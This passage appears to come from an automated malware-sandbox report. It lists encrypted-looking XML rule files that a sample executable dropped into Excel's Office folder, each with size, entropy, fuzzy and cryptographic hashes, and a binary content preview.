SHA-256:	960FF797DB8239490BCA6A878908EFEF47161357B215AE5344393ACD2825F85B
SHA-512:	27273ACEAF2D96AB81D3C3E7166729030D1836CB3A4CE3937FA18E80990B7356D4E20FB6B18DB118A504F80790524BD57B6EC2EEC058A32271C206B965B7140E
Malicious:	false
Preview:	<?xml.......Br...q...\..Yr.8.(a....f..#.6..~.fu'^...W.L...#...W....B..F.../......}......A...3.....:..Ig;..-!\|../\..<_M...v..r.".&RK..b..>.........C2..B..1.i.}lU...G.OH...d.e.z.,...y).`~......Rd........C2.i6..i..........Wf...s....?%.$.h..8....!....'0H.F.).T.....K.u..8...wf2.9u:.Z05.......~h+I......].....N......../..R......y......,...K.R.j..u X.,....t.\|(h.Qw..^q..w.........].4..^:..5..I.)..l(..[..=_5cSE......N{..N.S._.j./.2.,.,..;.H\q"...BIh!R..=G'...7.BS..6~..QBt.v.Hn.....f....kB_c.N.._6\|t!....'..t..9c.7.p.....Fq....~N..yU#....az..K..J.$Iu....7.X.....ipQ...{<4.)eWi.........4...T....y..8.]..'........(..C.f.3.^:4.z....[.F......rf....(~p%..v8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170099v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1306
Entropy (8bit):	7.839023340407072
Encrypted:	false
SSDEEP:	24:rLOzGD1rCY0U1VM3cqf76qvnor4ubnVS/hrTZYGE3r0xBxFyiEjIqkmsbD:XOwdN0Zcqf/yVS/hBY3s8UYmD
MD5:	E5A6DD99C009139AFE5A84CA374F572F
SHA1:	2F3D2111FD7967DB6B5C78E6764FDA3D500B9857
SHA-256:	67E659DA3513C1D20B773E875E7820DC91C466619C4EBD36591E790B02F1E630
SHA-512:	00D70FB6C446F67E59541F5F2C9A1CB233CA34A52EF50F3EF05BD8EECEB111693FCF64375D3984FC7F76A76606F3BFCFF75B62D0DACD431387F53BC41BB34CA4
Malicious:	false
Preview:	<?xml...2...8.....j.\|.P.....?.;0.q..@..J....]r;U....j..4....q...;...\|.i./L..>....&.....R_I......W..t.~..x".9..R]w...u..J.A.3g..N..)..K..`....?..C.u=.p.$.>..G5..N7./(.S..O..t...nq..'vj...kg.).Q....b}.A.....0.KO...^.R.......g...@k.....ML..Z....K..SLt....9H>..z.#c!R..$....ZG+\|Q...!.]._...x.9u.f.\|.....c.H).I..V..D...X-T.^2.7`...!...La.)I.t.. i...3....4..58.x-.)..........gd.]..>..m...W.u.....'R..._.Q...64..=...e.f..q.r..iJJin..FW?>.......!Xs.J....'.Z...>...q..+.l.....E.s....m.&......c........?.z.+.{.. I.g.%M..o.=...K........D....M.g.M._@.....RT+]PS/.^..r.gB....C.zJ.....0.M... ..26^..\|....A...;I."N40....D...i..V.R.c.....E..5j~.F^}.8/......8O.n..%.&....C.L.G...-..p.z.).^.d.9s..-..ZF....=.,.b.6{G..4..G..).x^.LH.Fl5...X3....]W.....vYEA.X6.n$.O..b..>.u.q.......h..=..../Fv..\|....J...xz........u....x.[.$.K....4..f.N..{..iC.vq.q...z..[QD.......\|.. .`.7.atk.Z......m.{..D$0e....V8..m{1...m3.hd.:......Tf..e..ug...Eu....>.9'...1.QN. ..C...dwx..`.\|,

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170103v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4285
Entropy (8bit):	7.955600386771755
Encrypted:	false
SSDEEP:	96:BITGF0nX1E3BZwdGiRuP8NctkCj9CcOc+oNl7gUxxnYdI5oxJ+:MiCX1yRUczjMcOc+oJhl5oxJ+
MD5:	DACA41931E8FDC07F34FB0D9A07D7CFE
SHA1:	7D4893A45C79C60C26F2056B43B86F93C87D1841
SHA-256:	86C8F27487B132B8F54B075626D4D0DFFFDF7D2E5EB593C4D902DFA423177D1E
SHA-512:	26557BAAFB6222A9C77786572E1CF10C4C7ADDF9C3FF0313FAA179163D10BB80F21A80EA79A75C89FEB3B9D4128921CEF90D75A6EDC43211381895FB7DD41002
Malicious:	false
Preview:	<?xml..8.>.\|.?Vz'+/^s..6.O...K.v....jw..$p...'9...MS....L..Vn.k"..Ye[_...a.A.B.V..8.c....{..I.;.S.....p8sB...U.w.OcLP\....Y.cx}....)88.....&>.:C..#.z;;uH.g.....WA%e....I....fph.-..w...Wv.M..c..+..z.R[....P..Z..6D..T.W.......#...;AA$...5..te]O... .............gT..d...,cKv..x.........I<=Am..!...$Mu..vc..........)c..Q..c{.....c..Jm.....z.+P...s...&Pn....L0..@.#..@....-...X.[.......O4........".....!q.I.0]gX......,.?...k.L.+.D...`M.....3+.Q..}..4...u.\|......V]........W.............".se..M...q..d?..ipE#.2~"p&-.j...B.0.....A ">3.v&.B.F.....[...\|.....R.9....B.DO.....G{K$..Ei......HD.0)@.. ...,....G*2X;...vL.x$-_.=zM.@..8..Mi...b.>.Y.@....&.=`j^.K...2...%)....t.....&...!.:n.+..DrX......c..{E`?.{..G.H..xy.+..E...ih:p...(Ps.D.Y.}.D.;c..j.{^j...xgW\|h.\|.B.?.m;....m...<.S.....1.g..g.....Hu.<..[k..i.M5.+..>.m...q:Z...~{.U........~HA8..{#.?qh.\|.:.....-..."N....+..&...=.....y.....hj."r....[..r.n.....T.e+.h...,K.,.H...7.2V....\|..UF..Z"a......(."...D`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170104v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	7.762009950227025
Encrypted:	false
SSDEEP:	24:OnhfGmZDZKFAGX72aNXQSPPJToGa4sZ/oTTsbD:OfBGX3XZPBToGalaTTmD
MD5:	CDF9AEECB2994209119AFDABC757A769
SHA1:	5F709B087FA5337102D2BC63248151FCCEFA2D72
SHA-256:	43ACD1D443D07BA25D1C346EBD165E414ACDAC628C9ECB2BABB8DA03A632B75D
SHA-512:	D806D4B9539A75254870F8C4BE54B472CA9B5EDFB6EAC15183F4E6A50733678A9672C3D3754E4AC19A8C31E9788D1CE9CC725AE8C01F7CBFADEACBEF5DB443A2
Malicious:	false
Preview:	<?xml.H...C...g..G-.=O1.u....,.qsX......H..._j)...o........?..I.$.c..~.........)...2n..[Q..T%....5..P.&DiW.oJ..Y.^..'.pHR)#].{..`K.?B...Y".......^W..[...........i5.X.%m.....t.(I...@.i.......^.~;.f..S~D..&A..UQR...a.c..........""....#...w.L.r..\|..;....j.D.< ;...5...$....)U...._.e.:....l}...s..j1.$M/.Or......&.y...m.44}...+.....!..).b....8.M...v?.Xq.....q.......k.my.~y0c9.v...i....XY.,....(h..z.)V.)F`k..Z#\2.E...o.^.SM....t.3,1t..j...z.D..Q.s...X...y....c<.\|=.U..)?."..{.}eJ..0.9e....md/..g.e.(;..)Pty4..\T.....D?soK....t.......X./...w3...DM...ZN9..a......E.).^.).....i.A..1...l....<...=..`..D....M.....,N.dAK.9..\|Z...]E.W.........A0&..}..[..V....7.k>G.&.1w]...b..k.^X..-......d..q.}..G(.u.."]...!.b{.......*..?D..&M.W......8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170105v3.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	929
Entropy (8bit):	7.751950589504946
Encrypted:	false
SSDEEP:	24:x7OI61UfeYAwHDWERwCDc5LXMm8TaT5Qf/+S4Z8+PAXrleOZA+sbD:xSI5pCQwCoMxaT5eEZQXxhZ7mD
MD5:	1D058006BD172959D5C1DF915A71B5D0
SHA1:	6A707BC1FC89F59D9E91BE9435F10F385DF67DC1
SHA-256:	053CCF91602B7766A663CEA365A85FEBDA23FD27B9D6783E11084B256626437A
SHA-512:	FDEB7420501B2F6BEDCDFF8E3913685C759AE20EFB986CB5C2821062AD84D8E934BD0BB645E61E990209971339EBBC7BC36CF8B43B37576795068F1B9A0C781C
Malicious:	false
Preview:	<?xml_G7.........iZ....'..N.g...#RWm......&...S..${d7..........9N...X....,..Q...).._a.t.N..z.U<.'.....A.4\=.\|.p.d.}..b..15..,..B...5...P...S.....O...F:,.D7.s'iUr....1..q.;.(w.;..-......t.ua~O8....k..i[Q.>\|7.......(..NN8.B.By%.B..C.6...rC.........~dC..u.#..^sh...8.M.Q....~g....\|w.22..I..V.t1...h.....nO...~HdP....=I.....{.,. ...)>l...t...........OBC.....J.Yi:.q\|F......8...-..2.0....?.....GK.x...9....L..x..)#..O.@V..b....).@_..E...x.p6f.1...E=.1{..>e.U.._.W......8.\..I&...q.T..R. 5.A..]=e. v...Z{..O.U.AA.2&.d .4[B...1.H..r.Hr...k....7......W.._=.7...,..c.....1...p`....z.7}(.._..Z.(.d.....E..E..h..k...,.#..;.n.N!..([.....T.....1....>.....s...K<.m...:.;?I....q..\...K...@>...I..!.E..b(....D2.............(.....lqC.8.........mg.<....D.=..^. (...).9.1.l..;.....M..........?E..c...o.....!..W.7......shP..,8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170106v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	722
Entropy (8bit):	7.664648749360468
Encrypted:	false
SSDEEP:	12:v0fg0sm82S8m3BrLQc8yasfNZToGB10hypGzrzcHhDBJPUcpMr6omYd1ZtZ1Qscq:Mfg0smlm3ZV8yJN5XQfzrzEtduuY16sX
MD5:	FAF38A040109A0D98D37C407BD28025E
SHA1:	C0741B68697D8C1BC8FD802538976FE2D899ECAB
SHA-256:	EF68F41C742F73808BCE8940C4921F7DC9209972F570B6092C597A15874F5566
SHA-512:	0BCC09FF4CE0E9B54F2F3BE47E4B0B28661A1A213E7A68B31EA26A37B0964CD4C417093455F11732FCA36E5CE96FA170C92E1C28F0BDC747FEDB82CE8362C2C9
Malicious:	false
Preview:	<?xml...E..t.O.u..C.).^J1_..du...E{..=..?.. ...._..j............o.R...9j..'.j.^......p.uP...OvB..@..#@g.. ...k......7..wo....P..k.Y..`9F....a.l.....j.......`a...3Z...?............PC.b.)6L\|D.<@4 ..........+.....C...;1....2...vg..0(.H....V..G.D..,.!.}\|...)Fv.LG/..D.V.....5GT#...ns0..@(..M..W..[].F.<.\|...t..!...D.1.R.;..4...oc.4..#....>..v.)7V\.v.v...@.S........q.$...j..w.P..td.w..\...N..U..L..@._..ctbBf..s......._..]\R}%.}.. {.\|G....,..a.;G.".r..5,U.....IP2.x..yw.]j..R1..>.Im.....^.u....E...W..>:R.......@:eb.h..L(\...O.j.2t#... ..YQ..#w...C]....R...j-]..E....<.....@.L.8KW...T%..z..<.^#0I6=, \.&..P..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170107v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.758318318029511
Encrypted:	false
SSDEEP:	12:78shgqGdiiMt7Eo16APg9jJA6feuf8S1/EMAKr/1r4H4vFJ7Djm2PdGNQscii9a:78shgTatQk4BJ5bkGFJrLH7meGCsbD
MD5:	E09A8E534F7BF0BF96593756CA004D50
SHA1:	021A6B613391467C3AA6C6800B7EA8434B72B62F
SHA-256:	3607AB25D7931324712EDB53580608CD56405ACB93AB7B8CDFFFEA6BA09FA5C1
SHA-512:	895580718F023A9162E1A2850483DEE7E2C9407819A3A1AD2AF704B45757F64BD34003B87A328CCBBB9D9F5677540FB588728F8868DF1C829B07FF27B34BE4D4
Malicious:	false
Preview:	<?xml.8...h.B..e`......!..Jo..DT.:. ...sO..!...T.>...K....fc..8..{....}...I..z.........@..H(E....{...bT.Grh .....U.W..yasLs..7O.....0<\|.cV.X..s...Ike8..b..q......jr...>.I..g.xi........u...e..0.\.y....r..o...ilWV. ....4k....V.}Ta..[.i......m..i......-.q.d!...h..b9.Bf+...l.A ..x.I...'..X...QO<....L.H#..c.."..y.....6..Bff...[.].\|..@..M.IO..\|.....y9...uyxM#..D.q....:i.....1.6...(w._.h)..i...H..=..\|.J.JJ...}...F..f.../z8...N}...m]A.o..mAD.(...0.7...UC``l\|?..D.6..<-....Y2O.J.x.$.K.X..F...H.K%?e.i.. .3.5.c._..5z...A......-......e..Y[H...?.......'...K..5.1..9a39.C............6...c.Qh.B.!.bn..lA.......P1....8...6.W.X..nzM@...Lg.W....fs.P...).2..$5.G..s...,%<....A^.L...8.....r[H2L.=..ZT..r...c@.R.s....Y.....;..l...n.<..e..I.e..hUZ.Q.....1.G......w).\|.5..$....v..Y-...'.<i<.9.G..Tp......ny'.E.J[F..wh..(..K.J.I..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170110v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1357
Entropy (8bit):	7.846847078714748
Encrypted:	false
SSDEEP:	24:eW69nnRMnodopNdvRbHF39FAVUqkruSq7vS3tQsqlbaLpYCKCsbD:1YXMJx9F+zkrF0vOLqpgpKCmD
MD5:	08297E333954C5102AA7BDE20EBD4DB3
SHA1:	E5FD0AF538D733A1A9A409C5D2459D1144CED3EE
SHA-256:	0D93A72FE0ED0B48F8AAD5F61012800410F8ADF4CE2A13648FA7B3B3A7E7876A
SHA-512:	5E9E315AA8D84DEEE6D2304DC358556CE74FECFD82E8BC5408B9CA6DA36755C77C26061C40331F0F066977B3EB4F6D63E6493F46B453D4C782B4B52E5CAB8777
Malicious:	false
Preview:	<?xml.'..fq^3y..~kd9...:...C.Z......;a..a...f:......@N.T.a.N...{.m..u.R.>J....o.}.. ...i].......hh..D...M4b7.O....S.......:..1y.<W7T=..+.>h....`_.W....VN.O....7........;.h..G......)S.l....w..g\A.d.....g..}17..)gm\.J\...g...T:\..O....U.N3XR"......<.?0D"s......e...\|......2S..0th.C.'.]u.j1/....Va2....\.r.v.1.R..6.W.N!.>......_.!A.L^...`.}......&....[........c..@.....S\.....KN.v......=.4.';..@w.....6<.C..NO...3..b@+.'....X...G..'.......{.Z;eY"&b...p.j...R.....f.O....$)j..[..7.~DE.ts./K!.....6.5.."......:$.2#MG.....I......V#.x.'.!....i~?...m<.t..n.R(...n...C......f_......0-'=P.Z..D..bP9.....,...<.2X.A.:PG.YQ..F?...>.9..3...1("y..T..~Oh."/HN.*..Y..C..1..m..xN2..@....y...9[:.O..k...m.g.....M......v..v..B...~...b.j..x....$T....Nea'.eLoX..P.._....`\s`:. h..@..b.....j#...D...u.....w>..Kb.......e.....Q.M&....'RZ.K.l6.'.....K.....Dc7....lZ.4.~X.{.P.......~.7WV.j....U....9..1....#?.GyX..]1n-.o.a.a.t...d..c..d..2...5...~....Z..X%.=..p...N.Y..H.%.wd..\R.7@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170111v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.790741528801647
Encrypted:	false
SSDEEP:	24:AGlWvqebPEnT4e1ckO3Jq1GcBfFv654UU1IvsbD:AFt8nchkO3+x1B6LUSmD
MD5:	2BC0D38A213648FCFFC68E7D3E9A90E2
SHA1:	D1A1C6B2E3629FB6BF09CF9BCAF8F6CBF6B76841
SHA-256:	D179F66C495E95358385AE93F9B3CDFEA21802EC6D494B4CD2122B717DD98C61
SHA-512:	E00DB2746BA8AE0259F02960E7711451A234F148836997E995A3C710DC0FECDA309C2FE21043EFDFEAE7584C6E90CE9269A22EBF3F3C7380B47087383FD7C488
Malicious:	false
Preview:	<?xml.O.pY.D.'......F.ir.{#.X4....S/Yu1.N..d..t.?@f.h.....\|....r..d$.=..[(d.DP2!.P..0..[..L3!c.,.....Ir.n.......Q..4o...X.v..HS.h8L....!.....d~...D......g.....O....&.Z.....Q....=.Z[.A.Q...J..,#..u.......D..p.9..bzV....\|.{.$..z.kB...0..w.......@.........}(.I.#.v.[Mpwp9&On..II..D..@g.%\.y... ....~.k...d>Wj>.h..m.}...nSv6"ZE]..7......t..;..U..<J....;..d...=...:.;>.QsV....<.w.1N.EBH..i.oM.2.KF...DlO8>..%.'....i....4......Q.....].}..(L.&Of.{..d_...>U......@....M.\|K..3..}....[...ul...;...>.8..U..l..3..g%..k...A.........q.......Z....n.T~7.L..[q.. ..d.vF....R..j...)...5.-.6}\|.m~<..U.r. .K..%..2...,..K...\|.i._.4...'QY.i.p..j....8.!..$.>..........V.^KY.u....a.H..Pw.1X...?.t...&.......sC...X..?. ..$.,.~=N[(3....l.79.gW...\|.]!.-......S.W..K...5\..u.......f.O....tx......sg^H......O=.98..Z.#..\|./......4....MBg....[......[.}..2..d~g#.........YDr\|..N^.. .8...N.6>.-.n[.U...R...e*......W(&.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170112v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	943
Entropy (8bit):	7.818865761929665
Encrypted:	false
SSDEEP:	24:ZqXtwE7UbsYAhFNSEr7kYRR88mjSxGXsbD:ZYqTbs9Qe788mzmD
MD5:	AF29B2ADE1ACB6577A2BCFE30C01D3F6
SHA1:	5016AC1B5584B46ECFE0A4105B0711CE13014B9D
SHA-256:	8DF1F018539906C0B1AB10F22C893E3325849D218AF7F5A37C156735543A2DAC
SHA-512:	BBDDAA3F707661AE0BAADBEF9C4EF879FF71320B906CB886A1044A4E58AEA35F163F1FB0784D020B1B7DE2A89DA2A6B1131933CEC2C6B5CF27E7A90EE0AE8955
Malicious:	false
Preview:	<?xml...D+..R.Q...\..u.xT..5.@J..#....w..E...../x._.+.K...c.{.4W..h...w..}..Vp......'.).4.[V..GW.V....C.X.. ...........a.W[.....v.?Ks,\.Z..(.(.W.+...{.)^......c-...^u.ez.....<...a.v\|....v.5....g...,..] D...SO.p.N..b....qOi....dR9......rv.........3.6.........c2.'..@....Ic..^..:Yq...x....a..:.........t..v....g..;..7q....&.gO.^Q...!..\|$yG>.......LbEX..dl.O...fBk>..m....)....).#.N/...0`.6.;....5.....\..z...j?s.l..J`.-...[..`.}......pu...9p3...~.^jZIg'.h.#......Q..N(./......j..8...t...J+..}=.E...>kF....<..@.."..T1..\|../..H.}j.e..._...=?.`M..~.F.Q\|i...`...."....f....7J.>...~..5.;PA.;u6P$..;....\|....}gg.@A!..=.<G.Iz\|......b.g..GK..(..N..JdT.....i.a.3...+..TY......k.~...k.zq:.@.....hL....A......`Z@..[..........mRz....u...-%....t{..!F%g.L.....1..r.9l.gwb._...a.1........Ar..>..o.9...kG.o.p..3.k...e..........;..._..j...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170113v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.7421702953235565
Encrypted:	false
SSDEEP:	12:HX/A2xdqN9suRIFxX5Eig4CF6hMCNeKCS20vhS/VV7ORecnJFhCmxQscii9a:TwN9sCCx9xebCNRCS204dZOQYEdsbD
MD5:	923010A755E410B2622C09934935AB75
SHA1:	AA25A2C75099DE5D8EA8FA2C40057799B1434003
SHA-256:	4615574F5965A4DC1F7A97B2212C830F69F7EAAF51BB7ED3E754BEF7DBE37EF5
SHA-512:	BA0BFF914A87C43DF198C3EA0D375477715E156C581F610E736F59F35C64858072BDAB7D80120DC4349E6BAAAC8DF39AB0378804F04E27A1E27DAA1DB4E9C939
Malicious:	false
Preview:	<?xml'..`...^./.k~LW.jA...S...2.!...;...6./...s.uKS.6............3.+6:t.kv.2..3.kiw.kqx..-.....D..:M..1.b.&....&..$...5..N.+.A....UN/M.s.q.u.d..../7....j..........e..'..>x#..&.....O~0..\|=. ..s1...s........t$..4.]..~........#....].~<\|.z.f2.N.[v.-X.,.."..KaW...Hg....".f(.M.....s[.)7....~....D.t!6..t....q.. .N......Pr^...._..1.e.{...&4,.f.F...CT..g.+8.._..AqI. ..jUYk.9....k........6X^..$.b..ux...$...Zv..O..a7....>.g.(}C2...[\|.....`....wgP...Z..P..{I....u..C...v....... @..2..E(..j5.......\ke..j&2`2`Q....n.y..t\.......R....hL..G....M...*..."...p..$..(.u...hS..y....;=.-..}H+0.@p.XvS=....%..-T.:Bn[.QYL. .i....^.]8...w(.E.a\|..g9..T./.'. ^..-W.....2...61..v,.g`..R..f!q..v....ti....k_...9#.....s8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170114v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1156
Entropy (8bit):	7.8370983161446
Encrypted:	false
SSDEEP:	24:5VrEFUIZuRiLCi5/SZ8Rux3Y20sdZWoFfxqGq7Ern3sbD:TEOIoRi2i5KKm3iDoFfxfqI3mD
MD5:	B9765595DABE6358D659DAC479F48001
SHA1:	3AF8344CD1B0CA3C3135A854FB1D14BBD0990DA6
SHA-256:	3A0DE8EC6908DCAF7C4B4E678DDFCB9248A5595F6AF438EDD7F4A964A4A03700
SHA-512:	5EF3FEA182B6BC28BC44DA338D867296A8366554D182FC00F1D33436796B5D6619EF50E0D839957CFD90998CAFFEC692A03B02D667A8DF9820CA590C1C5A7AC9
Malicious:	false
Preview:	<?xml.J..J.$.......s.[......i.J..A..M...B.enK...iR.}.Y.Nzv.....y.j.c......6.\|.b..._M.2.e1...6H.l>.OM..W...1g...C.....I]Gb.\.. DA'....RQ..y..Z/.a.ymDZ..\|D....[..n.H.Uk.<"p.E....L^....C:.). .. U........$Zb...R..#.#.. .f.Si5.gy....a.f..=J.T....V....:...6.\|h.-3.Q"...p.........i%.FP..._j.o......a.f73.7...J.9...jt5...&...K..y;...ypUL.#.^.....xg....tQ...oq.O.............1.....L.....</y........../...p..Jn..RK..#..t...Oo`g.,..Pt.5...{)...E.F.Q.ux.S.U%jB_}`.).Qu..d.?m#...%.,:l..lwHX.T.6...J....#w....i...vWT....R........C..8t.-....2..T..d.f....;b!.....8..UV....8 .9..\...b....hH........ud O.y,Y.W.4..M........F.J.d:.T.?......-/5`.V...s..OPd(<u*..O.K..\/q..Tk.......@<..s..2.j.-D.$.rV..n...\|6m.T.j.o)...\.y....E..#A.T~i.D.....RL...p.aq8........(.....m.G..G.'sr.v...X7...S......h...R...}.`..g.........l;..f@G.7w..u...k.Q.v..M.O\_..VN....!....5..O.q...S...5.^.F..Ny.w.lD.7..j..k9.s.B....Y..$...K..k._.~.pU..DM.3..^......1...?T."..'e.L....7.....t

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170115v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	927
Entropy (8bit):	7.762402624818882
Encrypted:	false
SSDEEP:	24:HMWoe1lW8SAu9KXAk72daeffTAdD1Tbeg23QDisbD:sK1hucAk7yaeffTArTbeg23Q+mD
MD5:	6872EB8A755D7EBD49B7AF3255FA9889
SHA1:	D8001A1776E9BB00E947A651158FF3E4D837E795
SHA-256:	968A824B34884A6533CB1D3D63719DFEB416168DBEC4391236F8B7DA072CDE35
SHA-512:	C7FEDA02587FEF91394BAFCFF5C1287018B56829C8E30FC299D94A2B6A952104943C6ACA7C6A2BA1E8401F8F0170A96F8BC64FCEC74315299E3D67644E685A57
Malicious:	false
Preview:	<?xml....i.;8.1.eF .yB..-.~df'.[....u...X...8..Zi..d..N..5\\.@.u..!k..,<...&........-P......Vxi..[.-.lAi..J..~.....C3...3Ys.o..+..}...pO.x... ..Yh.p,...,.......j..i...?rT6R%..\|..2/.."..n....=.uD.............B.._...\|....Z.2.`.o...."P....uY..IE%.1..7.2..].;.M.."D)>.=.0.l.T.6t..8.....q.Z\|{!..Q{....`.........I".5T...........\U._.!<.X.<........R6..^qW}<".=..cM..h....+..1.L......3..L........5.>......w;`....T..RR..$.....6&7...?...{@:A.6..Pd...Q............rz.....Hw..9...JX.\|.O...<$L_&.........s%......P,6..A....K.X.E&k..}....Y....}!..<m.M. ....n.]@=]%q#...$......)b...E.Fz..d....\|....z....A.._...i...d....W.?\|@Y.HL.z.Pqw..V#.C.u,6py....}}liW...x$Vp....(5U.X#{[..s.Y....&.-Q..RGD...7m..-.K.A..?.....eyat...(.@.......j.]..$....h =e......X..Du.:u.j...iW.../...\Y........^.....w.}..k.a..h...h...(.. .o.V....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170116v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	717
Entropy (8bit):	7.716424763572987
Encrypted:	false
SSDEEP:	12:Ivgfdw+Uu2xX0uX9pJx9FsKvYCK9PIfHoBwJWQUIK/xlQv5i6UQscii9a:IE9vut3FjvmaHoBwJuQvYIsbD
MD5:	689B2389211264DE9BAAA3CE2989C937
SHA1:	34F75CB7074DE210AFF8220CC235AA13D5C15E6F
SHA-256:	558DD671CA973AEB1CCE137CD139D3C8D685EA65C0A9ECA225D9308D44A4456C
SHA-512:	D1B8DACFD16BFB368ACDA3B7A773376CCFD098271FC766E7FEAC0B174DF91709B43CFA99C596FAFF316132BC23E459775D7E888D3D37409AA8FDA583745473D8
Malicious:	false
Preview:	<?xmlu.....v....F.g......N.:..[.ON..Y.x.".tq..u........./......Y.....5.....7...$>4eH(m~vp...u.......1.].A"......-c.x.$K..@.P..K...wh-CL)...A..1.1...<.(}.60r}......@.S.k8~....<..i.E..V.$...l.I..6...B.G...r...(-...P#m..zu.......o..aT .u>.eM....,..b.6..Z..j...L..;.yF.uRU_.4..Y\|K..=4.)..\|.......8%...].....'.....k..a...K....:..u.#..N...I.e)>.l.'..+.Wu..6.i.e\|."".......*.0, .Xx&...h6..b.N........b.nX_.S.......X.+...<..(]m...O7...`yaW.p...:.D.Cwk.Dz/..._(."..V..R..N..s..Z.......N..{..q..`...D.4GX..%....[....v.yf....K[N.t.sf.g..&......:..u.2.U...hA.i.wX.P;...E:.\|..1ZiJdx..1)i.i...%.{......Ge.0.=...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170117v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	942
Entropy (8bit):	7.738466681439567
Encrypted:	false
SSDEEP:	24:0/0HUlCd78s2QXQxR0vzY+PdZ+l0F9ZFRpsbD:ilC6srgxROtPdqgv1mD
MD5:	F681BC12DE8C6CB6F4F2F7A9525E95AC
SHA1:	E98601C2A947CD95B696EDAA0AF67BECAFD25B30
SHA-256:	233A9CDE2583320C4F954BB080B8E875BD302F0E2AFE2C7E2A94708BEA550F2D
SHA-512:	E643A61CA93A83612F502394ACDCE5117244CADFDD76062B26A1AEAA5043DEFEFEF37705E71AF6F861A361BD12853D6BEA710B278DD74D486BA19C6591D84537
Malicious:	false
Preview:	<?xmljJ..?.\|....3....u.~..-.V.....nr........Z...-g4.k~<.8J..zH....x....`...G.1yb....#...i.9..-v.._W.#...........)V....>O.."G.#.%..zX.k.r..f.>.#.!.TQ.+..h......yA..,kfj.>yT@...Z....A^....+..3.W..!v.U..^..a{...dS...."{1&4ec.N..........y....&.#..R.7..7E..E.\|..Y:....G.5Y..b!...Z.........`$)4..2.=.hw>...;....)H...C.h.t.qan..mQ.L..=I.`...}bSd.Lq.H6.jU.K-.^.1.nk...p......k.p..q.J~..CK.F?VO.0..vr9X...q..lac.&....<.l.....f..\|.....\1}...e......^n.2...>K..p1A....8.L.....TKZ.H..;k....b....Z../X.{..../b...gBM..=.....l..\|.,D..L.S.L(...........w..g..N...n5.2Q0N.N..=E..V~...Cg....4....f...,.@4...~.p..=....\...Td...x.s.u..m.Jp9e.J.{.Y.vK17.9.4....:..kx....\._K....b.t$..#c..U\|...8.\|.c#.."..7..L.9....T.A....+...].6,Q...L?Ud..1..]r...+.Y.Jb5.5..._.Bb..<T..W...eY`.0..#...L)..G....M4f.l._.Bu.......Gg..s>..l..V.a^....6..l8Dvoqx3bvfv1GNOXwQLrS9NhK8A5B